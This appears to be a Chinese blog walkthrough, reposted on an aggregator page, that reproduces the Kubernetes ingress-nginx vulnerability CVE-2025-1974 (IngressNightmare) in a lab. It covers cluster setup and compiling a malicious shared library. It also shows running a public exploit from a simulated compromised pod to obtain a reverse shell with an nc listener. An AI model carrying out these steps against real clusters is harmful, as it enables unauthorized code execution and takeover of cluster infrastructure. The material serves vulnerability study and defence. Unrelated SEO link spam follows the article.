当前位置: 首页 > wzjs >正文

网站管理员的联系方式企业展厅方案设计公司

网站管理员的联系方式,企业展厅方案设计公司,怎么做自己的销售网站,今天重庆新闻漏洞原理 CVE-2025-1974: The IngressNightmare in Kubernetes | Wiz Blog 分两方面: a、配置注入过程 构造一个恶意的Ingress资源,其中注入ssl_engine指令指向恶意共享库向准入控制器验证端点(AdmissionWebhook)发送Admissio…

漏洞原理

CVE-2025-1974: The IngressNightmare in Kubernetes | Wiz Blog

分两方面:

a、配置注入过程

  1. 构造一个恶意的Ingress资源,其中注入ssl_engine指令指向恶意共享库
  2. 向准入控制器验证端点(AdmissionWebhook)发送AdmissionReview请求(刚才的恶意Ingress资源)
  3. AdmissionWebhook验证通过
  4. Ingress-NGINX Controller监听到Ingress资源变更,在内存中生成配置文件
  5. Ingress-NGINX Controller调用 nginx -t 命令检查配置语法是否合法,触发RCE,反弹shell

b、投递恶意共享库过程

  1. 编译恶意共享库
  2. 构造特殊HTTP请求(旨在触发Nginx特性)投递恶意共享库
  3. Nginx实例处理HTTP请求,由于Nginx特性生成临时文件(保持文件描述符FD打开)
  4. 多次发送AdmissionReview请求爆破文件描述符FD(即并发上述a过程)

环境搭建

安装K8S

版本选择:先看Ingress漏洞版本,倒推K8S版本,参考ingress-nginx官方适配表

https://github.com/kubernetes/ingress-nginx

SupportedIngress-NGINX versionk8s supported versionAlpine VersionNginx VersionHelm Chart Version
🔄v1.12.11.32, 1.31, 1.30, 1.29, 1.283.21.31.25.54.12.1
🔄v1.12.01.32, 1.31, 1.30, 1.29, 1.283.21.01.25.54.12.0
🔄v1.12.0-beta.01.32, 1.31, 1.30, 1.29, 1.283.20.31.25.54.12.0-beta.0
🔄v1.11.51.30, 1.29, 1.28, 1.27, 1.263.21.31.25.54.11.5
🔄v1.11.41.30, 1.29, 1.28, 1.27, 1.263.21.01.25.54.11.4
🔄v1.11.31.30, 1.29, 1.28, 1.27, 1.263.20.31.25.54.11.3
🔄v1.11.21.30, 1.29, 1.28, 1.27, 1.263.20.01.25.54.11.2
🔄v1.11.11.30, 1.29, 1.28, 1.27, 1.263.20.01.25.54.11.1
🔄v1.11.01.30, 1.29, 1.28, 1.27, 1.263.20.01.25.54.11.0
v1.10.61.30, 1.29, 1.28, 1.27, 1.263.21.01.25.54.10.6
v1.10.51.30, 1.29, 1.28, 1.27, 1.263.20.31.25.54.10.5
v1.10.41.30, 1.29, 1.28, 1.27, 1.263.20.01.25.54.10.4
v1.10.31.30, 1.29, 1.28, 1.27, 1.263.20.01.25.54.10.3
v1.10.21.30, 1.29, 1.28, 1.27, 1.263.20.01.25.54.10.2
v1.10.11.30, 1.29, 1.28, 1.27, 1.263.19.11.25.34.10.1
v1.10.01.29, 1.28, 1.27, 1.263.19.11.25.34.10.0
v1.9.61.29, 1.28, 1.27, 1.26, 1.253.19.01.21.64.9.1
v1.9.51.28, 1.27, 1.26, 1.253.18.41.21.64.9.0
v1.9.41.28, 1.27, 1.26, 1.253.18.41.21.64.8.3
v1.9.31.28, 1.27, 1.26, 1.253.18.41.21.64.8.*
v1.9.11.28, 1.27, 1.26, 1.253.18.41.21.64.8.*
v1.9.01.28, 1.27, 1.26, 1.253.18.21.21.64.8.*
v1.8.41.27, 1.26, 1.25, 1.243.18.21.21.64.7.*
v1.7.11.27, 1.26, 1.25, 1.243.17.21.21.64.6.*
v1.6.41.26, 1.25, 1.24, 1.233.17.01.21.64.5.*
v1.5.11.25, 1.24, 1.233.16.21.21.64.4.*
v1.4.01.25, 1.24, 1.23, 1.223.16.21.19.10†4.3.0
v1.3.11.24, 1.23, 1.22, 1.21, 1.203.16.21.19.10†4.2.5

搭建K8S可参照我上篇文章:

【云安全】云原生-centos7搭建/安装/部署k8s1.23.6单节点-CSDN博客

我之前搭过一版K8S,是1.23.6,因此对应安装1.6.4的ingress,处于漏洞版本内

安装Ingress

推荐大佬 Dubito 微信公众号“云原生安全指北”的文章,写得很详细!

【漏洞复现】IngressNightmare CVE-2025-1974 RCE漏洞复现(万字长文|图文并茂|有手就能跟)

1、下载对应版本Ingress的deployment

export http_proxy="http://192.168.48.1:7890"
export https_proxy="http://192.168.48.1:7890"wget https://raw.githubusercontent.com/kubernetes/ingress-nginx/controller-v1.6.4/deploy/static/provider/baremetal/deploy.yaml

2、更换镜像源

首先,查询所需镜像 

cat deploy.yaml | grep image:

其次,使用 渡渡鸟镜像同步站 搜索关键词:ingress-nginx/controller:v1.6.4,更改成该网站的镜像地址即可,对应改成如下三条

swr.cn-north-4.myhuaweicloud.com/ddn-k8s/registry.k8s.io/ingress-nginx/controller:v1.6.4
swr.cn-north-4.myhuaweicloud.com/ddn-k8s/registry.k8s.io/ingress-nginx/kube-webhook-certgen:v20220916-gd32f8c343
swr.cn-north-4.myhuaweicloud.com/ddn-k8s/registry.k8s.io/ingress-nginx/kube-webhook-certgen:v20220916-gd32f8c343

3、部署Ingress

#部署前先取消代理
unset http_proxy
unset https_proxy
#部署
kubectl apply -f deploy.yaml
#验证
kubectl get all -n ingress-nginx

验证发现这时POD处于pending状态,使用如下命令查看原因

kubectl describe pod ingress-nginx-controller-85f587f9d4-bt58m -n ingress-nginx

主要看Events

这是因为单节点部署,而master默认存在污点设置,导致POD无法调度,可通过命令查看并移除污点

kubectl get node
kubectl describe node master-1 | grep Taint
kubectl taint nodes master-1 node-role.kubernetes.io/master:NoSchedule-
kubectl describe node master-1 | grep Taint

再次查看ingress状态,成功安装!

模拟失陷POD

1、本地Docker打镜像

cat <<EOF >Dockerfile
# 使用官方Python基础镜像
FROM python:3.11.7# 设置工作目录
WORKDIR /app# 安装httpx库
RUN pip install --no-cache-dir httpx# 设置容器启动时运行的命令
CMD ["python", "-c", "import httpx; import time; print('Httpx library is available'); time.sleep(9999999)"]
EOF#构建命令
docker build -t python-test-ingress-nginx .

2、把 Docker 镜像导入到 K8s 用的 containerd

docker save python-test-ingress-nginx | sudo ctr -n=k8s.io images import -#确认镜像是否导入成功
sudo ctr -n k8s.io image ls | grep python

 3、K8s部署镜像,模拟失陷POD

首先,编写deployment文件python_deploy.yaml

cat <<EOF >python_deploy.yaml
apiVersion: apps/v1
kind: Deployment
metadata:name: python-appnamespace: test
spec:replicas: 1selector:matchLabels:app: python-apptemplate:metadata:labels:app: python-appspec:containers:- name: python-containerimage: docker.io/library/python-test-ingress-nginx:latestimagePullPolicy: Never
EOF

其次,执行命令部署

kubectl create ns test
kubectl apply -f python_deploy.yaml
#验证状态
kubectl get pod -n test

漏洞复现

1、准备武器(prepare tools)

(1)下载EXP

GitHub - yoshino-s/CVE-2025-1974

export http_proxy="http://192.168.48.1:7890"
export https_proxy="http://192.168.48.1:7890"git clone https://github.com/yoshino-s/CVE-2025-1974.git
cd CVE-2025-1974/

(2)修改EXP

vim exploit.py

由于我这里的环境是模拟失陷POD(贴近实际),属于集群内部网络访问,无需端口转发,用第6、7行的URL即可,注释12、13行;

修改第25、26行PID值和FD值,根据经验判断或者进入ingress容器查看进程可知PID值大约为26开始,FD值大约为6开始

完善脚本,删除47行的 return 

修改shell.c

vim shell.c

服务器地址改成自己攻击机的监听地址

2、打造武器

编译前,先了解ingress-nginx controller执行.so文件依赖的库版本,编译时指定同样的库版本

kubectl get pod -n ingress-nginxkubectl exec -it -n ingress-nginx ingress-nginx-controller-85f587f9d4-gwm8r -- bash
#进入ingress容器之后执行
find / -name "libcrypto.so*" 2>/dev/null

确认ingress-nginx controller容器中库版本是3版本 

同样,看一下编译的机器库版本,发现有3版本可以用

于是使用下面的命令指定库进行编译

gcc -fPIC -Wall -shared -o shell.so shell.c /var/lib/containerd/io.containerd.snapshotter.v1.overlayfs/snapshots/2/fs/usr/lib/x86_64-linux-gnu/libcrypto.so.3#验证
ldd shell.so

3、上传武器

上传以下三个文件到失陷POD

#查看POD名称
kubectl get pod -n test
#上传
kubectl cp ./shell.so -n test python-app-94bdc8d99-prz64:/app/
kubectl cp ./exploit.py -n test python-app-94bdc8d99-prz64:/app/
kubectl cp ./req.json -n test python-app-94bdc8d99-prz64:/app/

4、攻击机进行监听

nc -lvnp 7788

5、attack

进入失陷POD执行EXP

kubectl exec -it -n test python-app-94bdc8d99-prz64 -- bash#进入POD后执行
python exploit.py

成功反弹shell

http://www.dtcms.com/wzjs/807212.html

相关文章:

  • 企业网站源码带手机版wordpress 替换图标
  • 网站建站解决方案大型网站开发人员
  • 做一个企业的官网可以做静态网站手机网站制作哪家公司好
  • 代理平台有哪些百度快速优化软件排名
  • 邮箱登录宁波seo外包sem
  • .耐思尼克官方网站建立网站的流程是什么
  • 嘉禾手机网站建设建筑模板尺寸
  • 衡水网站建设一级做ae视频片段怎么做
  • 建站神器跟wordpress哪个好排名好的网站开发
  • 网站建设与研发外贸公司网站建站
  • 做网站怎样连数据库ui设计分为哪几类
  • 彩票网站自己可以做吗asp 企业网站
  • 网站建设中项目经理的职责中山做网站好的公司
  • php网站权限设置云梦县建设安全网站
  • 动漫网站怎么建设重庆市
  • 网站建设与管理实施方案wordpress rest post
  • 收费的网站如何免费自己做的网站不显示图片
  • asp网站导航怎么做湖南建设银行官网网站首页
  • 工会网站建设比较好的工会做直播券的网站有多少钱
  • 网站改手机版推广产品的方法
  • 做网站一般图片多大简约大方的网站
  • 昆山网站建设 技术支持 力得网络做网站的旅行社
  • 重庆建网站的公司集中在哪里企业网站cms 系统
  • 深圳专业网站建设公司现在流行的网站制作工具
  • 中国建筑网站平台有哪些博文阅读网站建设
  • 扶风做网站特卖网站怎么做
  • 珠海网站建设杰作wordpress加载模板
  • 黑客入侵别人网站做seo揭阳专业做网站公司
  • 营销型旅游网站建设wpf做网站
  • 怎么查看网站开发使用什么技术排版网页